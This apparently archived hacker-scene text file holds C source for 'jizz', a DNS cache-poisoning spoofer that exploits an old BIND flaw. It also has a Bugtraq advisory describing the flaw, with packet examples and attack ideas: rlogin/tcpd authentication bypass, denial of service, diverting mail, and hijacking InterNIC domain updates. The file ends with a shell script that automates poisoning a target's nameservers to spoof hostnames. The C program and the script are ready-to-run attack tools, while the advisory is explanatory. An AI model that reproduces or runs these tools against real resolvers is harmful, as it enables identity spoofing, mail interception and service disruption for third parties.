home *** CD-ROM | disk | FTP | other *** search
- #define VERSION ".01b"
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdarg.h>
- #include <strings.h>
- #include <errno.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
-
- #define MAXBUFSIZE 64*1024
-
- #define DC_A 1
- #define DC_NS 2
- #define DC_CNAME 5
- #define DC_SOA 6
- #define DC_WKS 11
- #define DC_PTR 12
- #define DC_HINFO 13
- #define DC_MINFO 14
- #define DC_MX 15
- #define DC_TXT 16
-
- typedef struct {
- unsigned short id;
-
- unsigned char rd:1; /* recursion desired */
- unsigned char tc:1; /* truncated message */
- unsigned char aa:1; /* authoritive answer */
- unsigned char opcode:4; /* purpose of message */
- unsigned char qr:1; /* response flag */
-
- unsigned char rcode:4; /* response code */
- unsigned char unused:2; /* unused bits */
- unsigned char pr:1; /* primary server required (non standard) */
- unsigned char ra:1; /* recursion available */
-
- unsigned short qdcount;
- unsigned short ancount;
- unsigned short nscount;
- unsigned short arcount;
- } dnsheaderrec;
-
- typedef struct {
- unsigned short labellen;
- char label[256];
- unsigned short type;
- unsigned short class;
- unsigned long ttl;
- unsigned short buflen;
- char buf[256];
- } dnsrrrec;
-
- typedef struct {
- dnsheaderrec h;
-
- dnsrrrec qd[20];
- dnsrrrec an[20];
- dnsrrrec ns[20];
- dnsrrrec ar[20];
- } dnsrec;
-
- char *dnssprintflabel(char *s, char *buf, char *p);
- char *dnsaddlabel(char *p, char *label);
- void dnstxt2rr(dnsrrrec *rr, char *b);
- void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
- char *dnsaddbuf(char *p, void *buf, short len);
- int dnsmakerawpacket(dnsrec *dns, char *buf);
-
- unsigned long rev_long(l) unsigned long l;
- {
- unsigned long i = 0;
- int n = sizeof(i);
- while (n--) {
- i = (i << 8) | (l & 255); l >>= 8;
- }
- return i;
- }
-
- char *dnssprintflabel(char *s, char *buf, char *p)
- {
- unsigned short i,len;
- char *b=NULL;
-
- len=(unsigned short)*(p++);
- while (len) {
- while (len >= 0xC0) {
- if (!b)
- b=p+1;
- p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
- len=(unsigned short)*(p++);
- }
-
- for (i=0;i<len;i++)
- *(s++)=*(p++);
-
- *(s++)='.';
-
- len=(unsigned short)*(p++);
- }
-
- *(s++)=0;
- if (b)
- return(b);
-
- return(p);
- }
-
- char *dnsaddlabel(char *p, char *label)
- {
- char *p1;
-
- while ((*label) && (label)) {
- if ((*label == '.') && (!*(label+1)))
- break;
-
- p1=strchr(label,'.');
-
- if (!p1)
- p1=strchr(label,0);
-
- *(p++)=p1-label;
- memcpy(p,label,p1-label);
- p+=p1-label;
-
- label=p1;
- if (*p1)
- label++;
- }
- *(p++)=0;
-
- return(p);
- }
-
- #define DEFAULTTTL 60*10
-
- void dnstxt2rr(dnsrrrec *rr, char *b)
- {
- char *tok[20], *p;
- unsigned short numt=0, i;
- static char *buf=NULL;
-
- if (!buf) {
- if ((buf=malloc(1024)) == NULL) {
- perror("malloc");
- exit(-1);
- }
- }
-
- strcpy(buf,b);
- p=strtok(buf," \t");
- do {
- tok[numt++]=p;
- } while (p=strtok(NULL," \t"));
-
- p=dnsaddlabel(rr->label,tok[0]);
- rr->labellen=p-rr->label;
-
- i=1;
-
- if (isdigit(*p))
- rr->ttl=htonl(atol(tok[i++]));
- else
- rr->ttl=htonl(DEFAULTTTL);
-
- if (strcmp(tok[i],"IN") == 0)
- i++;
-
- rr->class=htons(1);
-
- if (strcmp(tok[i],"A") == 0) {
- i++;
- rr->type=htons(DC_A);
- if (i < numt) {
- inet_aton(tok[i],rr->buf);
- rr->buflen=4;
- } else
- rr->buflen=0;
- return;
- }
-
- if (strcmp(tok[i],"CNAME") == 0) {
- i++;
- rr->type=htons(DC_CNAME);
- if (i < numt) {
- p=dnsaddlabel(rr->buf,tok[i]);
- rr->buflen=p-rr->buf;
- } else
- rr->buflen=0;
- return;
- }
-
- if (strcmp(tok[i],"NS") == 0) {
- i++;
- rr->type=htons(DC_NS);
- if (i < numt) {
- p=dnsaddlabel(rr->buf,tok[i]);
- rr->buflen=p-rr->buf;
- } else
- rr->buflen=0;
- return;
- }
-
- if (strcmp(tok[i],"PTR") == 0) {
- i++;
- rr->type=htons(DC_PTR);
- if (i < numt) {
- p=dnsaddlabel(rr->buf,tok[i]);
- rr->buflen=p-rr->buf;
- } else
- rr->buflen=0;
- return;
- }
-
- if (strcmp(tok[i],"MX") == 0) {
- i++;
- rr->type=htons(DC_MX);
- if (i < numt) {
- p=rr->buf;
- *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
- p=dnsaddlabel(p,tok[i]);
- rr->buflen=p-rr->buf;
- } else
- rr->buflen=0;
- return;
- }
- }
-
- void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
- {
- int i;
- va_list va;
-
- dns->h.qdcount=htons(qdcount);
- dns->h.ancount=htons(ancount);
- dns->h.nscount=htons(nscount);
- dns->h.arcount=htons(arcount);
- dns->h.rcode=0;
-
- va_start(va, arcount);
-
- for (i=0;i<qdcount;i++)
- dnstxt2rr(&dns->qd[i],va_arg(va, char *));
-
- for (i=0;i<ancount;i++)
- dnstxt2rr(&dns->an[i],va_arg(va, char *));
-
- for (i=0;i<nscount;i++)
- dnstxt2rr(&dns->ns[i],va_arg(va, char *));
-
- for (i=0;i<arcount;i++)
- dnstxt2rr(&dns->ar[i],va_arg(va, char *));
-
-
- va_end(va);
- }
-
- char *dnsaddbuf(char *p, void *buf, short len)
- {
- memcpy(p,buf,len);
- return(p+len);
- }
-
- int dnsmakerawpacket(dnsrec *dns, char *buf)
- {
- char *p;
- int i;
- unsigned short len;
-
- memcpy(buf,&dns->h,sizeof(dnsheaderrec));
-
- p=buf+sizeof(dnsheaderrec);
-
- /********** Query ***********/
- for (i=0;i<ntohs(dns->h.qdcount);i++) {
- p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
- p=dnsaddbuf(p,&dns->qd[i].type,2);
- p=dnsaddbuf(p,&dns->qd[i].class,2);
- }
-
- /********** Answer ***********/
- for (i=0;i<ntohs(dns->h.ancount);i++) {
- p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
- p=dnsaddbuf(p,&dns->an[i].type,2);
- p=dnsaddbuf(p,&dns->an[i].class,2);
- p=dnsaddbuf(p,&dns->an[i].ttl,4);
- len=htons(dns->an[i].buflen);
- p=dnsaddbuf(p,&len,2);
- p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
- }
-
- /********** Nameservers ************/
- for (i=0;i<ntohs(dns->h.nscount);i++) {
- p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
- p=dnsaddbuf(p,&dns->ns[i].type,2);
- p=dnsaddbuf(p,&dns->ns[i].class,2);
- p=dnsaddbuf(p,&dns->ns[i].ttl,4);
- len=htons(dns->ns[i].buflen);
- p=dnsaddbuf(p,&len,2);
- p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
- }
-
- /********** Additional ************/
- for (i=0;i<ntohs(dns->h.arcount);i++) {
- p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
- p=dnsaddbuf(p,&dns->ar[i].type,2);
- p=dnsaddbuf(p,&dns->ar[i].class,2);
- p=dnsaddbuf(p,&dns->ar[i].ttl,4);
- len=htons(dns->ar[i].buflen);
- p=dnsaddbuf(p,&len,2);
- p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
- }
-
- return(p-buf);
- }
-
- void main(int argc, char *argv[])
- {
- int sock, fromlen, numread, len, query;
- struct sockaddr_in sa, from, to;
- struct in_addr rev;
- char *buf, *sendbuf;
- char *domainnamebuf;
- dnsheaderrec *dns;
- char *p;
- dnsrec dnsh;
-
- char *beginhost_QD, *beginhost_A, *beginhost_srch;
- char *fakenshost_A, *fakens_DOM;
- char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev;
-
- printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION);
- printf("by nimrood\n\n");
- if (argc != 7) {
- printf("usage: \n%s <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofedip> <spoofedhost>\n",argv[0]);
- printf(" beginhost : requested to initiate false caching, ex: begin.ib6ub9.com\n");
- printf(" fakenshost : server name to answer false PTR's, ex: ns.ib6ub9.com\n");
- printf(" fakensip : IP of server name to answer false PTR's, ex: 205.160.29.19\n");
- printf(" fakensdom : domain name false name server controls, ex: ib6ub9.com\n");
- printf(" spoofedip : IP of machine you want to spoof from, ex: 204.154.2.93\n");
- printf(" spoofedhost: name you want to spoof, ex: teak.0wns.j00\n\n");
- exit(-1);
- }
-
- if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((buf = malloc(MAXBUFSIZE)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
- perror("malloc");
- exit(-1);
- }
-
- if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
- perror("socket");
- exit(-1);
- }
-
- beginhost_QD = strcpy(beginhost_QD,argv[1]);
- beginhost_QD = strcat(beginhost_QD, " IN A");
-
- beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1");
-
- beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), ".");
- printf("%s\n",beginhost_srch);
-
- fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A ");
- fakenshost_A = strcat(fakenshost_A, argv[3]);
-
- fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS ");
- fakens_DOM = strcat(fakens_DOM,argv[2]);
-
- spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A ");
- spoofedip_A = strcat(spoofedip_A,argv[5]);
-
- rev.s_addr = rev_long(inet_addr(argv[5]));
- spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), ".IN-ADDR.ARPA IN PTR ");
- spoofedip_PTR = strcat(spoofedip_PTR,argv[6]);
-
- printf("%s\n%s\n%s\n%s\n%s\n%s\n",
- beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_PTR);
-
- sa.sin_family = AF_INET;
- /* sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
- sa.sin_addr.s_addr = INADDR_ANY;
- sa.sin_port = htons(53);
-
- if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
- perror("bind");
- exit(-1);
- }
-
- setvbuf(stdout,NULL,_IONBF,0);
-
- while (1) {
- fromlen=sizeof(from);
- if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
- perror("recvfrom");
- continue;
- }
-
- /* Kludge to stop that damn router */
- if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
- continue;
-
- dns=(dnsheaderrec *)buf;
-
- if (dns->qr)
- continue;
-
- p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
- query=ntohs(*(unsigned short *)p);
- printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);
-
- if (strcasecmp(domainnamebuf,beginhost_srch) == 0) {
- dnsbuildpacket(&dnsh,1,4,1,1,
- beginhost_QD,
-
- beginhost_A,
- spoofedip_A,
- spoofedip_PTR,
- fakenshost_A,
-
- fakens_DOM,
-
- "www.yahoo.com IN A 255.255.255.255");
-
- } else {
- /* Error */
- dnsh.h.rcode=5;
- strcat(domainnamebuf," IN A");
- dnsbuildpacket(&dnsh,1,0,0,0,
- domainnamebuf);
- }
- dnsh.qd[0].type=htons(query);
-
- dnsh.h.id=((dnsheaderrec *)buf)->id;
- dnsh.h.qr=1;
- dnsh.h.aa=1;
-
- len=dnsmakerawpacket(&dnsh,sendbuf);
-
- to.sin_family=AF_INET;
- to.sin_addr.s_addr=from.sin_addr.s_addr;
- to.sin_port=from.sin_port;
-
- if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
- perror("sendto");
- continue;
- }
- }
- }
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -----------------------------------------------------------------------------
-
-
-
- Info about DNS abuse from BUGTRAQ
-
- Since SNI has released that paper and stole all of the thunder out of my
- advisory, I'll post a couple of things in addition to their advisory.
- There's a couple of things in this post and it's semi long.
-
- There's a MUCH easier way of caching RR's. As long as the nameserver is
- older than 4.9.5+P1 which is > 90% of the net. I explained it in a paper I
- wrote last year I sent it off to Paul Vixie to get a reply (and possibly a
- patch) to the problem. The problem is basically this: BIND will cache
- ANYTHING that it gets in the return packet. This advisory was
- partially leaked to nanog and is known to have been leaked to a number
- of other people. Here it is from my original advisory (complete with
- spelling and grammar mistakes):
-
- [BEGIN EXCERPT]
-
- 4) Explanation of bug
-
- During the caching of the information of answer returned from a recursive
- query it will cache everything that is returned in the answer, name server
- and additional sections. The way to exploit this bug is trivial. As an
- example, a daemon running on 123.45.67.89 wants to determine the domain
- name of the IP which just had connected to it. This is a common practice
- done by many daemons for logging purposes. A user on the machine
- 38.222.74.2 connects to the rlogin port of 123.45.67.89. The DNS server
- that 123.45.67.89 uses is 98.76.54.32. 123.45.67.89 sends out a query to
- 98.76.54.32 asking for a PTR record:
-
- 123.45.67.89 -> 98.76.54.32 [Query]
- NQY: 1 NAN: 0 NNS: 0 NAD: 0
- QY: 2.74.222.38.in-addr.arpa PTR
-
- The name server at 98.76.54.32 has no information on that domain. After a
- couple of more queries, it comes to find that 38.222.74.2 and 38.222.74.10
- are authoritative name servers for 74.222.38.in-addr.arpa. It then sends a
- query out to one of them:
-
- 98.76.54.32 -> 38.222.74.2 [Query]
- NQY: 1 NAN: 0 NNS: 0 NAD: 0
- QY: 2.74.222.38.in-addr.arpa PTR
-
- The DNS server at 38.222.74.2 receives the query and then answers it:
-
- 38.222.74.2 -> 98.76.54.32 [Answer]
- NQY: 1 NAN: 2 NNS: 2 NAD: 2
- QY: 2.74.222.38.in-addr.arpa PTR
- AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
- AN: trusted.host.com A 38.222.74.2
- NS: 74.222.38.in-addr.arpa NS ns.sventech.com
- NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
- AD: ns.sventech.com A 38.222.74.2
- AD: ns1.sventech.com A 38.222.74.10
-
- When the DNS server at 98.76.54.32 gets the answer, it will relay this
- packet back to 123.45.67.89, the original querying machine. It will also,
- take the answer, the name servers, and the additional sections and cache
- them.
-
- Now that it has a domain name for the IP, and since the service is rlogin,
- the daemon will now check the /etc/hosts.equiv file to see if this host is
- allowed access to the machine. However, spoofing, as this technique is
- commonly called, a PTR record has been known about for years. TCP wrappers
- for instance try to fix this problem by doing a lookup on the domain name
- returned in the original query and checking the 2 IP addresses. If they
- don't match then it assumes that someone is trying to fake their PTR
- record to gain unauthorized access. However, when tcpd does the lookup for
- the A record:
-
- 123.45.67.89 -> 98.76.54.32 [Query]
- NQY: 1 NAN: 0 NNS: 0 NAD: 0
- QY: trusted.host.com A
-
- The DNS server at 98.76.54.32 will return the information which it had
- cached earlier when the 2.74.222.38.in-addr.arpa answer was returned:
-
- 98.76.54.32 -> 123.45.67.89 [Query]
- NQY: 1 NAN: 1 NNS: 2 NAD: 2
- QY: trusted.host.com A
- AN: trusted.host.com A 38.222.74.2
- NS: 74.222.38.in-addr.arpa NS ns.sventech.com
- NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
- AD: ns.sventech.com A 38.222.74.2
- AD: ns1.sventech.com A 38.222.74.10
-
- Now tcpd thinks that the user at 38.222.74.2 is actually trusted.host.com
- when they are really someone else. This can lead to unauthorized access to
- a system which does all authentication based on domain name.
-
- 4) Denial of service
-
- Let's take the original 2.74.222.38.in-addr.arpa query and modify it
- slightly:
-
- 38.222.74.2 -> 98.76.54.32 [Answer]
- NQY: 1 NAN: 2 NNS: 2 NAD: 2
- QY: 2.74.222.38.in-addr.arpa PTR
- AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
- AN: www.company.com A 0.0.0.1
- NS: 74.222.38.in-addr.arpa NS ns.sventech.com
- NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
- AD: ns.sventech.com A 38.222.74.2
- AD: ns1.sventech.com A 38.222.74.10
-
- Now whenever some queries the DNS server at 98.76.54.32 for information
- about www.company.com then they will be pointing at 0.0.0.1 which is a non
- existant IP address which no one will respond to. Effectively denying
- service to the people who wish to get to www.company.com.
-
- 5) Theft of services
-
- Let's take the 2.74.222.38.in-addr.arpa query one more time as an example:
-
- 38.222.74.2 -> 98.76.54.32 [Answer]
- NQY: 1 NAN: 3 NNS: 2 NAD: 2
- QY: 2.74.222.38.in-addr.arpa PTR
- AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com
- AN: www.company.com CNAME www.competitor.com
- AN: company.com MX 0 mail.competitor.com
- NS: 74.222.38.in-addr.arpa NS ns.sventech.com
- NS: 74.222.38.in-addr.arpa NS ns1.sventech.com
- AD: ns.sventech.com A 38.222.74.2
- AD: ns1.sventech.com A 38.222.74.10
-
- Now, whenever someone wishes to visit www.competitor.com, they are instead
- diverted to a thrid party, possibly hostile site. In this case, to a
- competitors web site. If someone were to send email to company.com, it
- would go to mail.company.com instead where a competitor could get
- information which is supposed to be destined to www.company.com.
-
- 6) Limitations
-
- There a couple of limitations to this particular attack. One cannot
- "replace" DNS information that is already in the cache. For instance, say
- DNS server 98.76.54.32 has a CNAME record for www.company.com already and
- I try to replace it with www.competitor.com, it will not work. However,
- there are pieces of information which can be "added" to. For instance, A
- records can be "added" to. If www.company.com has instead an A record to
- 1.2.3.4 and I send an A record of 4.3.2.1 in my packet, www.company.com
- will now have the IP addresses 1.2.3.4 and 4.3.2.1 which will be
- "randomly" picked between the two whenever someone queries
- www.company.com. This can be circumvented with a little patience. For
- instance, www.altavista.digital.com has a TTL of 7200. That means, the DNS
- server will only cache the information for www.altavista.digital.com for
- 7200 seconds or 2 hours. If we put an A record which has an TTL of 604800
- or 1 week, then we can effiectively "outlive" the real cached information.
- After 2 hours, then our bad information is the only thing left and the DNS
- server will then start giving out bad information. Here is a list of the
- most commonly used "addable" and non-"addable" DNS records:
-
- A can add
- NS can add
- MX can add
- PTR cannot add
- CNAME cannot add
-
- [END EXCERPT]
-
- In addition to this problem, 4.9.5+P1 (and probably some derivation of
- in older versions) has another problem. Even tho it fixes these problems
- it still passes the packet generally untouched onto the remote end. If the
- other end does any caching, it'll cache the bad stuff. Also, if the PTR
- record has a bad domain name, it'll use it. (I thought this was fixed in
- 4.9.4?) All of this stems from the fact, that bind basically doesn't touch
- the packet when it resends it off to the original querying machine.
-
- Right now, this is playing havok on IRC networks since the ircd server has
- it's own resolver library and does some basic caching. Not to mention the
- fact that the IRC protocol stream is \n terminated and you can put \n's in
- domain names this way.
-
- Now that SNI has broken the silence (and my thunder by releasing first)
- I'll explain another "hypothetical" attack. The InterNIC is very dependant
- on email. In fact, when someone goes to update a domain, they will send
- the change notice to the contacts. What if someone had cached an MX record
- on the DNS servers the internic uses to do recursive queries so that when
- sendmail goes to send the message, it'll be delivered to another machine
- and it just eats it. (btw - that DNS server was mtsfs.internic.net as of a
- couple of weeks ago)
-
- Even better is this statement in their template:
-
- 7.3. Request from a Sender not listed as a Contact
-
- All the Contacts will be notified before processing the request. If
- the InterNIC receives an ACK first before the waiting time indicated
- on the Notify Template expires, the request will be processed.
- Otherwise, the request will NOT be processed.
-
- Since you're intercepting all of that mail, you can easily ACK the mail
- from the InterNIC. I'm exactly sure how to read that, but it looks like to
- be if someone else sends in the update then it'll require one of the
- contacts to ACKnowledge that the change is legit. I sent some email to
- the InterNIC, however (after over a month) have yet to receive a reply. If
- there's anyone from the InterNIC reading this, please respond to
- NIC-970309.5128 sometime this century.
-
- Also, you can make yourself look like the email is coming from the right
- person by caching the PTR/A records on their other DNS server which does
- recursive queries when email comes in. (which happens to be
- lists.internic.net) Not to mention that rs.internic.net (the MX for
- internic.net) is IP spoofable as well. All of the info was legit a couple
- of weeks ago. It may have changed now, but I'm not sure. I also won't say
- if this ever has been attempted or accomplished :)
-
- Any questions? Please direct them to jerdfelt@sventech.com, I'm busy
- working right now but I'll do my best to answer all of the email I get.
- Also please forgive any grammar/spelling mistakes. I'm horrible at
- English.
-
- BTW - All versions of sendmail blindly copy the domain name into a 514
- byte buffer. I haven't gotten my PTR records to get past 420 bytes but I
- have a feeling my code to build DNS packets is a little buggy.
-
-
-
- -------------------------------------------------------------------------------
-
-
-
- Alot of people ask about DNS spoofing and how common utilities like
- "jizz" work. Jizz and the like are not generally easy utilities to use
- even if you do have an authorative nameserver. The idea is not simple and
- the instructions with such utils arn't very self explanatory. On top
- of that, even if you understand it completelly with any of them you have
- to either know what the target is using as a cacheing nameserver or
- otherwise make a calculated guess. I wrote a script interface tonight to
- the commonly available jizz binary to make it a: alot simpler to
- understand and b: my script will automatically try to determine the
- destinations nameserver and cache the domain on it, so that the only thing
- required to enter after the nameserver info is set up is the IP of the
- client, domain name you want to spoof, and destination server (IRC server
- or what not). The script does the rest for you.
-
- Please do not email me asking where to get jizz. If you don't have
- it I'm not going to give it to you. Also the return email in the script
- does not have an MX *yet* so if you want to reach me I can be found on
- irc efnet as philbert.
-
- here is the script:
-
- --- begin jizz.sh ---
-
- #!/bin/sh
- #
- # This script requires perl and the latest version of sh-utils for calculations,
- # as well as other various standard unix utilities.
- #
- # This interface DOES NOT require you to know the cacheing nameserver of
- # the destination server, it will attempt to calculate it for you.
- #
-
- case "${3}" in
- "")
- echo
- echo "Intelligent DNS spoofer interface, by philbert."
- echo "(philbert@DataTrax.Net)"
- echo
- echo "usage: $0 <your ip> <spoofed domain> <irc/misc server>"
- echo "or: $0 <your ip> <spoofed domain> -ns <NS to cache fake domain>"
- echo
- exit 1
- ;;
- esac
-
- # ----------------------------------------------------------
- # Set the configurations for your nameserver here
-
- # The name of the nameserver this is running on:
- NS=ns3.datatrax.net
-
- # The IP address of the nameserver this is running on:
- IP=1.2.3.4
-
- # A domain that this nameserver is strictly authorative for:
- AUTH=spoof.datatrax.net
-
- # End of user configuration
- # ----------------------------------------------------------
-
- RAND=$RANDOM
- export RAND
-
- jizz $RAND.$AUTH. $NS $IP $AUTH $1 $2. >/dev/null &
- sleep 1
-
- if [ "$3" = "-ns" ]; then
-
- echo "echo "trying to cache $2 on $4..."
- nslookup -type=soa $RAND.$AUTH. $4 >/dev/null 2>&1
-
- echo "$1 is cached on $2 as `nslookup $1 $2 | grep Name | cut -c10-`
-
- exit 1
- else false ; fi
-
- NS=`host $3. | perl -n -e 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/print $1/e'`
- if [ "NS" = "" ]; then NS=$3; else NS=$NS; fi
-
- echo "trying to cache $2 on the server itself..."
-
- nslookup -type=soa $RAND.$AUTH. $NS >/dev/null 2>&1
-
- TEST=`nslookup $1 $3 | grep Name | cut -c10-`
-
- if [ "$TEST" = "$2" ]; then
- echo "Success!, $2 is cached on $3 as $1"
- else echo "Failed..."; fi
-
- RDEST=`nslookup $NS | grep Name | cut -c10-`
- if [ "$RDEST" = "" ]; then RDEST=$3; else RDEST=$RDEST; fi
-
- NS=`dnsquery $RDEST | grep "IN NS" | cut -f3- | cut -f2- -dS`
- if [ "$NS" = "" ]; then
- NS=`echo $RDEST | cut -f2- -d.`
- NS=`dnsquery $NS | grep "IN NS" | cut -f3- | cut -f2- -dS`
- else NS=$NS; fi
-
- CRUNCH=1
-
- while true ; do
-
- TARGET=`echo $NS | cut -f$CRUNCH -d" "`
-
- if [ "$TARGET" = "" ]; then
- killall -9 jizz >/dev/null &
- exit 1; else TARGET=$TARGET; fi
-
- echo "trying to cache $2 on $TARGET..."
- nslookup -type=soa $RAND.$AUTH. $TARGET >/dev/null 2>&1
- TEST=`nslookup $1 $TARGET | grep Name | cut -c10-`
-
- if [ "$TEST" = "$2" ]; then
- echo "Success!, $2 is cached on $TARGET as $1"
- else echo "Failed..."; fi
-
- CRUNCH=`expr $CRUNCH + 1`
-
- done
-
- --- end jizz.sh ---
-